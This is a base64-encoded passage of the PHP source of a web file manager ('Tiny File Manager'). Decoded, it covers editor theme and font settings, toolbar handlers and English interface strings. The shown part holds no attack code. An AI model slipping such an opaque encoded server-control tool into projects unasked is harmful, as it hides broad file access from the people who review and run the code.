JpcHQiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ2YWxhIjogIlZhbGEiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ2YnNjcmlwdCI6ICJWQlNjcmlwdCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZlbG9jaXR5IjogIlZlbG9jaXR5IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAidmVyaWxvZyI6ICJWZXJpbG9nIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAidmhkbCI6ICJWSERMIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAidmlzdWFsZm9yY2UiOiAiVmlzdWFsZm9yY2UiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ3b2xsb2siOiAiV29sbG9rIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAieG1sIjogIlhNTCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInhxdWVyeSI6ICJYUXVlcnkiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ5YW1sIjogIllBTUwiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJkamFuZ28iOiAiRGphbmdvIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJmb250U2l6ZSI6IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA4OiA4LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEwOiAxMCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxMTogMTEsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTI6IDEyLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEzOiAxMywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxNDogMTQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTU6IDE1LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDE2OiAxNiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxNzogMTcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTg6IDE4LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDIwOiAyMCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAyMjogMjIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMjQ6IDI0LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDI2OiAyNiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAzMDogMzAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfTsKICAgICAgICAgICAgICAgICAgICBpZiAoX2RhdGEgJiYgX2RhdGEuYWNlTW9kZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkbW9kZUVsLmh0bWwob3B0aW9uTm9kZSgiYWNlL21vZGUvIiwgX2RhdGEuYWNlTW9kZSkpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoX2RhdGEgJiYgX2RhdGEuYWNlVGhlbWUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGxpZ2h0VGhlbWUgPSBvcHRpb25Ob2RlKCJhY2UvdGhlbWUvIiwgX2RhdGEuYWNlVGhlbWUuYnJpZ2h0KSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhcmtUaGVtZSA9IG9wdGlvbk5vZGUoImFjZS90aGVtZS8iLCBfZGF0YS5hY2VUaGVtZS5kYXJrKTsKICAgICAgICAgICAgICAgICAgICAgICAgJHRoZW1lRWwuaHRtbCgiPG9wdGdyb3VwIGxhYmVsPVwiQnJpZ2h0XCI+IiArIGxpZ2h0VGhlbWUgKyAiPC9vcHRncm91cD48b3B0Z3JvdXAgbGFiZWw9XCJEYXJrXCI+IiArIGRhcmtUaGVtZSArICI8L29wdGdyb3VwPiIpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoX2RhdGEgJiYgX2RhdGEuZm9udFNpemUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGZvbnRTaXplRWwuaHRtbChvcHRpb25Ob2RlKCIiLCBfZGF0YS5mb250U2l6ZSkpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkbW9kZUVsLnZhbChlZGl0b3IuZ2V0U2Vzc2lvbigpLiRtb2RlSWQpOwogICAgICAgICAgICAgICAgICAgICR0aGVtZUVsLnZhbChlZGl0b3IuZ2V0VGhlbWUoKSk7CiAgICAgICAgICAgICAgICAgICAgJChmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICAgICAgLy8gQXBwbHkgZm9udCBzaXplIGRpcmVjdGx5LCB0aGVuIHN5bmMgZHJvcGRvd24KICAgICAgICAgICAgICAgICAgICAgICAgZWRpdG9yLnNldEZvbnRTaXplKDw/cGhwIGVjaG8gKGludCkgQUNFX0ZPTlRTSVpFOyA/Pik7CiAgICAgICAgICAgICAgICAgICAgICAgICRmb250U2l6ZUVsLnZhbCg8P3BocCBlY2hvIChpbnQpIEFDRV9GT05UU0laRTsgPz4pOwogICAgICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICQoZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAgICAgcmVuZGVyVGhlbWVNb2RlKCk7CiAgICAgICAgICAgICAgICAgICAgJCgiLmpzLWFjZS10b29sYmFyIikub24oImNsaWNrIiwgJ2J1dHRvbicsIGZ1bmN0aW9uKGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBsZXQgY21kVmFsdWUgPSAkKHRoaXMpLmF0dHIoImRhdGEtY21kIiksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3JPcHRpb24gPSAkKHRoaXMpLmF0dHIoImRhdGEtb3B0aW9uIik7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChjbWRWYWx1ZSAmJiBjbWRWYWx1ZSAhPSAibm9uZSIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFjZV9jb21tZW5kKGNtZFZhbHVlKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIGlmIChlZGl0b3JPcHRpb24pIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlZGl0b3JPcHRpb24gPT0gImZ1bGxzY3JlZW4iKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKHZvaWQgMCAhPT0gZG9jdW1lbnQuZnVsbFNjcmVlbkVsZW1lbnQgJiYgbnVsbCA9PT0gZG9jdW1lbnQuZnVsbFNjcmVlbkVsZW1lbnQgfHwgdm9pZCAwICE9PSBkb2N1bWVudC5tc0Z1bGxzY3JlZW5FbGVtZW50ICYmIG51bGwgPT09IGRvY3VtZW50Lm1zRnVsbHNjcmVlbkVsZW1lbnQgfHwgdm9pZCAwICE9PSBkb2N1bWVudC5tb3pGdWxsU2NyZWVuICYmICFkb2N1bWVudC5tb3pGdWxsU2NyZWVuIHx8IHZvaWQgMCAhPT0gZG9jdW1lbnQud2Via2l0SXNGdWxsU2NyZWVuICYmICFkb2N1bWVudC53ZWJraXRJc0Z1bGxTY3JlZW4pICYmCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKGVkaXRvci5jb250YWluZXIucmVxdWVzdEZ1bGxTY3JlZW4gPyBlZGl0b3IuY29udGFpbmVyLnJlcXVlc3RGdWxsU2NyZWVuKCkgOiBlZGl0b3IuY29udGFpbmVyLm1velJlcXVlc3RGdWxsU2NyZWVuID8gZWRpdG9yLmNvbnRhaW5lci5tb3pSZXF1ZXN0RnVsbFNjcmVlbigpIDogZWRpdG9yLmNvbnRhaW5lci53ZWJraXRSZXF1ZXN0RnVsbFNjcmVlbiA/IGVkaXRvci5jb250YWluZXIud2Via2l0UmVxdWVzdEZ1bGxTY3JlZW4oRWxlbWVudC5BTExPV19LRVlCT0FSRF9JTlBVVCkgOiBlZGl0b3IuY29udGFpbmVyLm1zUmVxdWVzdEZ1bGxzY3JlZW4gJiYgZWRpdG9yLmNvbnRhaW5lci5tc1JlcXVlc3RGdWxsc2NyZWVuKCkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIGlmIChlZGl0b3JPcHRpb24gPT0gIndyYXAiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbGV0IHdyYXBTdGF0dXMgPSAoZWRpdG9yLmdldFNlc3Npb24oKS5nZXRVc2VXcmFwTW9kZSgpKSA/IGZhbHNlIDogdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldFVzZVdyYXBNb2RlKHdyYXBTdGF0dXMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSk7CgogICAgICAgICAgICAgICAgICAgICQoInNlbGVjdCNqcy1hY2UtbW9kZSwgc2VsZWN0I2pzLWFjZS10aGVtZSwgc2VsZWN0I2pzLWFjZS1mb250U2l6ZSIpLm9uKCJjaGFuZ2UiLCBmdW5jdGlvbihlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgICAgICAgICAgICAgbGV0IHNlbGVjdGVkVmFsdWUgPSAkKHRoaXMpLnZhbCgpLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VsZWN0aW9uVHlwZSA9ICQodGhpcykuYXR0cigiZGF0YS10eXBlIik7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzZWxlY3RlZFZhbHVlICYmIHNlbGVjdGlvblR5cGUgPT0gIm1vZGUiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldE1vZGUoc2VsZWN0ZWRWYWx1ZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSBpZiAoc2VsZWN0ZWRWYWx1ZSAmJiBzZWxlY3Rpb25UeXBlID09ICJ0aGVtZSIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVkaXRvci5zZXRUaGVtZShzZWxlY3RlZFZhbHVlKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIGlmIChzZWxlY3RlZFZhbHVlICYmIHNlbGVjdGlvblR5cGUgPT0gImZvbnRTaXplIikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWRpdG9yLnNldEZvbnRTaXplKHBhcnNlSW50KHNlbGVjdGVkVmFsdWUpKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIDwvc2NyaXB0PgogICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgIDxkaXYgaWQ9InNuYWNrYmFyIj48L2Rpdj4KICAgIDwvYm9keT4KCiAgICA8L2h0bWw+Cjw/cGhwCiAgICB9CgogICAgLyoqCiAgICAgKiBMYW5ndWFnZSBUcmFuc2xhdGlvbiBTeXN0ZW0KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR4dAogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgZnVuY3Rpb24gbG5nKCR0eHQpCiAgICB7CiAgICAgICAgZ2xvYmFsICRsYW5nOwoKICAgICAgICAvLyBFbmdsaXNoIExhbmd1YWdlCiAgICAgICAgJHRyWydlbiddWydBcHBOYW1lJ10gICAgICAgID0gJ1RpbnkgRmlsZSBNYW5hZ2VyJzsKICAgICAgICAkdHJbJ2VuJ11bJ0FwcFRpdGxlJ10gICAgICAgPSAnRmlsZSBNYW5hZ2VyJzsKICAgICAgICAkdHJbJ2VuJ11bJ0xvZ2luJ10gICAgICAgICAgPSAnU2lnbiBpbic7CiAgICAgICAgJHRyWydlbiddWydVc2VybmFtZSddICAgICAgID0gJ1VzZXJuYW1lJzsKICAgICAgICAkdHJbJ2VuJ11bJ1Bhc3N3b3JkJ10gICAgICAgPSAnUGFzc3dvcmQnOwogICAgICAgICR0clsnZW4nXVsnTG9nb3V0J10gICAgICAgICA9ICdTaWduIE91dCc7CiAgICAgICAgJHRyWydlbiddWydNb3ZlJ10gICAgICAgICAgID0gJ01vdmUnOwogICAgICAgICR0clsnZW4nXVsnQ29weSddICAgICAgICAgICA9ICdDb3B5JzsKICAgICAgICAkdHJbJ2VuJ11bJ1NhdmUnXSAgICAgICAgICAgPSAnU2F2ZSc7CiAgICAgICAgJHRyWydlbiddWydTZWxlY3RBbGwnXSAgICAgID0gJ1NlbGVjdCBhbGwnOwogICAgICAgICR0clsnZW4nXVsnVW5TZWxlY3RBbGwnXSAgICA9ICdVbnNlbGVjdCBhbGwnOwogICAgICAgICR0clsnZW4nXVsnRmlsZSddICAgICAgICAgICA9ICdGaWxlJzsKICAgICAgICAkdHJbJ2VuJ11bJ0JhY2snXSAgICAgICAgICAgPSAnQmFjayc7CiAgICAgICAgJHRyWydlbiddWydTaXplJ10gICAgICAgICAgID0gJ1NpemUnOwogICAgICAgICR0clsnZW4nXVsnUGVybXMnXSAgICAgICAgICA9ICdQZXJtcyc7CiAgICAgICAgJHRyWydlbiddWydNb2RpZmllZCddICAgICAgID0gJ01vZGlmaWVkJzsKICAgICAgICAkdHJbJ2VuJ11bJ093bmVyJ10gICAgICAgICAgPSAnT3duZXInOwogICAgICAgICR0clsnZW4nXVsnU2VhcmNoJ10gICAgICAgICA9ICdTZWFyY2gnOwogICAgICAgICR0clsnZW4nXVsnTmV3SXRlbSddICAgICAgICA9ICdOZXcgSXRlbSc7CiAgICAgICAgJHRyWydlbiddWydGb2xkZXInXSAgICAgICAgID0gJ0ZvbGRlcic7CiAgICAgICAgJHRyWydlbiddWydEZWxldGUnXSAgICAgICAgID0gJ0RlbGV0ZSc7CiAgICAgICAgJHRyWydlbiddWydSZW5hbWUnXSAgICAgICAgID0gJ1JlbmFtZSc7CiAgICAgICAgJHRyWydlbiddWydDb3B5VG8nXSAgICAgICAgID0gJ0NvcHkgdG8nOwogICAgICAgICR0clsnZW4nXVsnRGlyZWN0TGluayddICAgICA9ICdEaXJlY3QgbGluayc7CiAgICAgICAgJHRyWydlbiddWydVcGxvYWRpbmdGaWxlcyddID0gJ1VwbG9hZCBGaWxlcyc7CiAgICAgICAgJHRyWydlbiddWydDaGFuZ2VQZXJtaXNzaW9ucyddICA9ICdDaGFuZ2UgUGVybWlzc2lvbnMnOwogICAgICAgICR0clsnZW4nXVsnQ29weWluZyddICAgICAgICA9ICdDb3B5aW5nJzsKICAgICAgICAkdHJbJ2VuJ11bJ0NyZWF0ZU5ld0l0ZW0nXSAgPSAnQ3JlYXRlIE5ldyBJdGVtJzsKICAgICAgICAkdHJbJ2VuJ11bJ05hbWUnXSAgICAgICAgICAgPSAnTmFtZSc7CiAgICAgICAgJHRyWydlbiddWydBZHZhbmNlZEVkaXRvciddID0gJ0FkdmFuY2VkIEVkaXRvcic7CiAgICAgICAgJHRyWydlbiddWydBY3Rpb25zJ10gICAgICAgID0gJ0FjdGlvbnMnOwogICAgICAgICR0clsnZW4nXVsnRm9sZGVyIGlzIGVtcHR5J10gPSAnRm9sZGVyIGlzIGVtcHR5JzsKICAgICAgICAkdHJbJ2VuJ11bJ1VwbG9hZCddICAgICAgICAgPSAnVXBsb2FkJzsKICAgICAgICAkdHJbJ2VuJ11bJ0NhbmNlbCddICAgICAgICAgPSAnQ2FuY2VsJzsKICAgICAgICAkdHJbJ2VuJ11bJ0ludmVydFNlbGVjdGlvbiddID0gJ0ludmVydCBTZWxlY3Rpb24nOwogICAgICAgICR0clsnZW4nXVsnRGVzdGluYXRpb25Gb2xkZXInXSAgPSAnRGVzdGluYXRpb24gRm9sZGVyJzsKICAgICAgICAkdHJbJ2VuJ11bJ0l0ZW1UeXBlJ10gICAgICAgPSAnSXRlbSBUeXBlJzsKICAgICAgICAkdHJbJ2VuJ11bJ0l0ZW1OYW1lJ10gICAgICAgPSAnSXRlbSBOYW1lJzsKICAgICAgICAkdHJbJ2VuJ11bJ0NyZWF0ZU5vdyddICAgICAgPSAnQ3JlYXRlIE5vdyc7CiAgICAgICAgJHRyWydlbiddWydEb3dubG9hZCddICAgICAgID0gJ0Rvd25sb2FkJzsKICAgICAgICAkdHJbJ2VuJ11bJ09wZW4nXSAgICAgICAgICAgPSAnT3Blbic7CiAgICAgICAgJHRyWydlbiddWydVblppcCddICAgICAgICAgID0gJ1VuWmlwJzsKICAgICAgICAkdHJbJ2VuJ11bJ1VuWmlwVG9Gb2xkZXInXSAgPSAnVW5aaXAgdG8gZm9sZGVyJzsKICAgICAgICAkdHJbJ2VuJ11bJ0VkaXQnXSAgICAgICAgICAgPSAnRWRpdCc7CiAgICAgICAgJHRyWydlbiddWydOb3JtYWxFZGl0b3InXSAgID0gJ05vcm1hbCBFZGl0b3InOwogICAgICAgICR0clsnZW4nXVsnQmFja1VwJ10gICAgICAgICA9ICdCYWNrIFVwJzsKICAgICAgICAkdHJbJ2VuJ11bJ1NvdXJjZUZvbGRlciddICAgPSAnU291cmNlIEZvbGRlcic7CiAgICAgICAgJHRyWydlbiddWydGaWxlcyddICAgICAgICAgID0gJ0ZpbGVzJzsKICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZSddICAgICAgICAgPSAnQ2hhbmdlJzsKICAgICAgICAkdHJbJ2VuJ11bJ1NldHRpbmdzJ10gICAgICAgPSAnU2V0dGluZ3MnOwogICAgICAgICR0clsnZW4nXVsnTGFuZ3VhZ2UnXSAgICAgICA9ICdMYW5ndWFnZSc7CiAgICAgICAgJHRyWydlbiddWydFcnJvclJlcG9ydGluZyddID0gJ0Vycm9yIFJlcG9ydGluZyc7CiAgICAgICAgJHRyWydlbiddWydTaG93SGlkZGVuRmlsZXMnXSA9ICdTaG93IEhpZGRlbiBGaWxlcyc7CiAgICAgICAgJHRyWydlbiddWydIZWxwJ10gICAgICAgICAgID0gJ0hlbHAnOwogICAgICAgICR0clsnZW4nXVsnQ3JlYXRlZCddICAgICAgICA9ICdDcmVhdGVkJzsKICAgICAgICAkdHJbJ2VuJ11bJ0hlbHAgRG9jdW1lbnRzJ10gPSAnSGVscCBEb2N1bWVudHMnOwogICAgICAgICR0clsnZW4nXVsnUmVwb3J0IElzc3VlJ10gICA9ICdSZXBvcnQgSXNzdWUnOwogICAgICAgICR0clsnZW4nXVsnR2VuZXJhdGUnXSAgICAgICA9ICdHZW5lcmF0ZSc7CiAgICAgICAgJHRyWydlbiddWydGdWxsU2l6ZSddICAgICAgID0gJ0Z1bGwgU2l6ZSc7CiAgICAgICAgJHRyWydlbiddWydIaWRlQ29sdW1ucyddICAgID0gJ0hpZGUgUGVybXMvT3duZXIgY29sdW1ucyc7CiAgICAgICAgJHRyWydlbiddWydZb3UgYXJlIGxvZ2dlZCBpbiddID0gJ1lvdSBhcmUgbG9nZ2VkIGluJzsKICAgICAgICAkdHJbJ2VuJ11bJ05vdGhpbmcgc2VsZWN0ZWQnXSAgPSAnTm90aGluZyBzZWxlY3RlZCc7CiAgICAgICAgJHRyWydlbiddWydQYXRocyBtdXN0IGJlIG5vdCBlcXVhbCddICAgID0gJ1BhdGhzIG11c3QgYmUgbm90IGVxdWFsJzsKICAgICAgICAkdHJbJ2VuJ11bJ1JlbmFtZWQgZnJvbSddICAgICAgID0gJ1JlbmFtZWQgZnJvbSc7CiAgICAgICAgJHRyWydlbiddWydBcmNoaXZlIG5vdCB1bnBhY2tlZCddID0gJ0FyY2hpdmUgbm90IHVucGFja2VkJzsKICAgICAgICAkdHJbJ2VuJ11bJ0RlbGV0ZWQnXSAgICAgICAgICAgID0gJ0RlbGV0ZWQnOwogICAgICAgICR0clsnZW4nXVsnQXJjaGl2ZSBub3QgY3JlYXRlZCddID0gJ0FyY2hpdmUgbm90IGNyZWF0ZWQnOwogICAgICAgICR0clsnZW4nXVsnQ29waWVkIGZyb20nXSAgICAgICAgPSAnQ29waWVkIGZyb20nOwogICAgICAgICR0clsnZW4nXVsnUGVybWlzc2lvbnMgY2hhbmdlZCddID0gJ1Blcm1pc3Npb25zIGNoYW5nZWQnOwogICAgICAgICR0clsnZW4nXVsndG8nXSAgICAgICAgICAgICAgICAgPSAndG8nOwogICAgICAgICR0clsnZW4nXVsnU2F2ZWQgU3VjY2Vzc2Z1bGx5J10gPSAnU2F2ZWQgU3VjY2Vzc2Z1bGx5JzsKICAgICAgICAkdHJbJ2VuJ11bJ25vdCBmb3VuZCEnXSAgICAgICAgID0gJ25vdCBmb3VuZCEnOwogICAgICAgICR0clsnZW4nXVsnRmlsZSBTYXZlZCBTdWNjZXNzZnVsbHknXSAgICA9ICdGaWxlIFNhdmVkIFN1Y2Nlc3NmdWxseSc7CiAgICAgICAgJHRyWydlbiddWydBcmNoaXZlJ10gICAgICAgICAgICA9ICdBcmNoaXZlJzsKICAgICAgICAkdHJbJ2VuJ11bJ1Blcm1pc3Npb25zIG5vdCBjaGFuZ2VkJ10gICAgPSAnUGVybWlzc2lvbnMgbm90IGNoYW5nZWQnOwogICAgICAgICR0clsnZW4nXVsnU2VsZWN0IGZvbGRlciddICAgICAgPSAnU2VsZWN0IGZvbGRlcic7CiAgICAgICAgJHRyWydlbiddWydTb3VyY2UgcGF0aCBub3QgZGVmaW5lZCddICAgID0gJ1NvdXJjZSBwYXRoIG5vdCBkZWZpbmVkJzsKICAgICAgICAkdHJbJ2VuJ11bJ2FscmVhZHkgZXhpc3RzJ10gICAgID0gJ2FscmVhZHkgZXhpc3RzJzsKICAgICAgICAkdHJbJ2VuJ11bJ0Vycm9yIHdoaWxlIG1vdmluZyBmcm9tJ10gICAgPSAnRXJyb3Igd2hpbGUgbW92aW5nIGZyb20nOwogICAgICAgICR0clsnZW4nXVsnQ3JlYXRlIGFyY2hpdmU/J10gICAgPSAnQ3JlYXRlIGFyY2hpdmU/JzsKICAgICAgICAkdHJbJ2VuJ11bJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZSddICAgID0gJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZSc7CiAgICAgICAgJHRyWydlbiddWydBcmNoaXZlIHVucGFja2VkJ10gICA9ICdBcmNoaXZlIHVucGFja2VkJzsKICAgICAgICAkdHJbJ2VuJ11bJ0ZpbGUgZXh0ZW5zaW9uIGlzIG5vdCBhbGxvd2VkJ10gID0gJ0ZpbGUgZXh0ZW5zaW9uIGlzIG5vdCBhbGxvd2VkJzsKICAgICAgICAkdHJbJ2VuJ11bJ1Jvb3QgcGF0aCddICAgICAgICAgID0gJ1Jvb3QgcGF0aCc7CiAgICAgICAgJHRyWydlbiddWydFcnJvciB3aGlsZSByZW5hbWluZyBmcm9tJ10gID0gJ0Vycm9yIHdoaWxlIHJlbmFtaW5nIGZyb20nOwogICAgICAgICR0clsnZW4nXVsnRmlsZSBub3QgZm91bmQnXSAgICAgPSAnRmlsZSBub3QgZm91bmQnOwogICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgZGVsZXRpbmcgaXRlbXMnXSA9ICdFcnJvciB3aGlsZSBkZWxldGluZyBpdGVtcyc7CiAgICAgICAgJHRyWydlbiddWydNb3ZlZCBmcm9tJ10gICAgICAgICA9ICdNb3ZlZCBmcm9tJzsKICAgICAgICAkdHJbJ2VuJ11bJ0dlbmVyYXRlIG5ldyBwYXNzd29yZCBoYXNoJ10gPSAnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnOwogICAgICAgICR0clsnZW4nXVsnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJ10gPSAnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJzsKICAgICAgICAkdHJbJ2VuJ11bJ3Bhc3N3b3JkX2hhc2ggbm90IHN1cHBvcnRlZCwgVXBncmFkZSBQSFAgdmVyc2lvbiddID0gJ3Bhc3N3b3JkX2hhc2ggbm90IHN1cHBvcnRlZCwgVXBncmFkZSBQSFAgdmVyc2lvbic7CiAgICAgICAgJHRyWydlbiddWydBZHZhbmNlZCBTZWFyY2gnXSAgICA9ICdBZHZhbmNlZCBTZWFyY2gnOwogICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJ10gICAgPSAnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJzsKICAgICAgICAkdHJbJ2VuJ11bJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG5hbWUnXSAgICAgICAgICAgICAgICA9ICdJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJzsKICAgICAgICAkdHJbJ2VuJ11bJ0ZJTEUgRVhURU5TSU9OIElTIE5PVCBTVVBQT1JURUQnXSAgICAgICAgICAgICAgICA9ICdGSUxFIEVYVEVOU0lPTiBJUyBOT1QgU1VQUE9SVEVEJzsKICAgICAgICAkdHJbJ2VuJ11bJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXIgZGVsZXRlZCddICAgICAgICAgICAgICA9ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVyIGRlbGV0ZWQnOwogICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgZmV0Y2hpbmcgYXJjaGl2ZSBpbmZvJ10gICAgICAgICAgICAgID0gJ0Vycm9yIHdoaWxlIGZldGNoaW5nIGFyY2hpdmUgaW5mbyc7CiAgICAgICAgJHRyWydlbiddWydEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/J10gICAgICAgICAgICAgPSAnRGVsZXRlIHNlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXJzPyc7CiAgICAgICAgJHRyWydlbiddWydTZWFyY2ggZmlsZSBpbiBmb2xkZXIgYW5kIHN1YmZvbGRlcnMuLi4nXSAgICAgICAgPSAnU2VhcmNoIGZpbGUgaW4gZm9sZGVyIGFuZCBzdWJmb2xkZXJzLi4uJzsKICAgICAgICAkdHJbJ2VuJ11bJ0FjY2VzcyBkZW5pZWQuIElQIHJlc3RyaWN0aW9uIGFwcGxpY2FibGUnXSAgICAgICA9ICdBY2Nlc3MgZGVuaWVkLiBJUCByZXN0cmljdGlvbiBhcHBsaWNhYmxlJzsKICAgICAgICAkdHJbJ2VuJ11bJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG9yIGZvbGRlciBuYW1lJ10gICAgICA9ICdJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBvciBmb2xkZXIgbmFtZSc7CiAgICAgICAgJHRyWydlbiddWydPcGVyYXRpb25zIHdpdGggYXJjaGl2ZXMgYXJlIG5vdCBhdmFpbGFibGUnXSAgICAgPSAnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJzsKICAgICAgICAkdHJbJ2VuJ11bJ0ZpbGUgb3IgZm9sZGVyIHdpdGggdGhpcyBwYXRoIGFscmVhZHkgZXhpc3RzJ10gICA9ICdGaWxlIG9yIGZvbGRlciB3aXRoIHRoaXMgcGF0aCBhbHJlYWR5IGV4aXN0cyc7CiAgICAgICAgJHRyWydlbiddWydBcmUgeW91IHN1cmUgd2FudCB0byByZW5hbWU/J10gICAgICAgICAgICAgICAgICAgPSAnQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIHJlbmFtZT8nOwogICAgICAgICR0clsnZW4nXVsnQXJlIHlvdSBzdXJlIHdhbnQgdG8nXSAgICAgICAgICAgICAgICAgICAgICAgICAgID0gJ0FyZSB5b3Ugc3VyZSB3YW50IHRvJzsKICAgICAgICAkdHJbJ2VuJ11bJ0RhdGUgTW9kaWZpZWQnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICdEYXRlIE1vZGlmaWVkJzsKICAgICAgICAkdHJbJ2VuJ11bJ0ZpbGUgc2l6ZSddICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICdGaWxlIHNpemUnOwogICAgICAgICR0clsnZW4nXVsnTUlNRS10eXBlJ10gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gJ01JTUUtdHlwZSc7CiAgICAgICAgJHRyWydlbiddWydhIGZpbGVzJ10gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnZmlsZXMnOwovLyBQcmUtZXhpc3RpbmcgaW5wdXRzIHRoYXQgd2VyZSBuZXZlciBpbnNlcnRlZCBpbnRvIHRoZSBsbmcoKSBmdW5jdGlvbgogICAgICAgICR0clsnZW4nXVsnQ2Fubm90IG9wZW4gZmlsZSEgQWJvcnRpbmcgZG93bmxvYWQnXSA9ICdDYW5ub3Qgb3BlbiBmaWxlISBBYm9ydGluZyBkb3dubG9hZCc7CiAgICAgICAgJHRyWydlbiddWydDaGFyc2V0J10gICAgICAgICAgICA9ICdDaGFyc2V0JzsKICAgICAgICAkdHJbJ2VuJ11bJ0NvbXByZXNzaW9uJ10gICAgICAgID0gJ0NvbXByZXNzaW9uJzsKICAgICAgICAkdHJbJ2VuJ11bJ2RhcmsnXSAgICAgICAgICAgICAgID0gJ2RhcmsnOwogICAgICAgICR0clsnZW4nXVsnbGlnaHQnXSAgICAgICAgICAgICAgP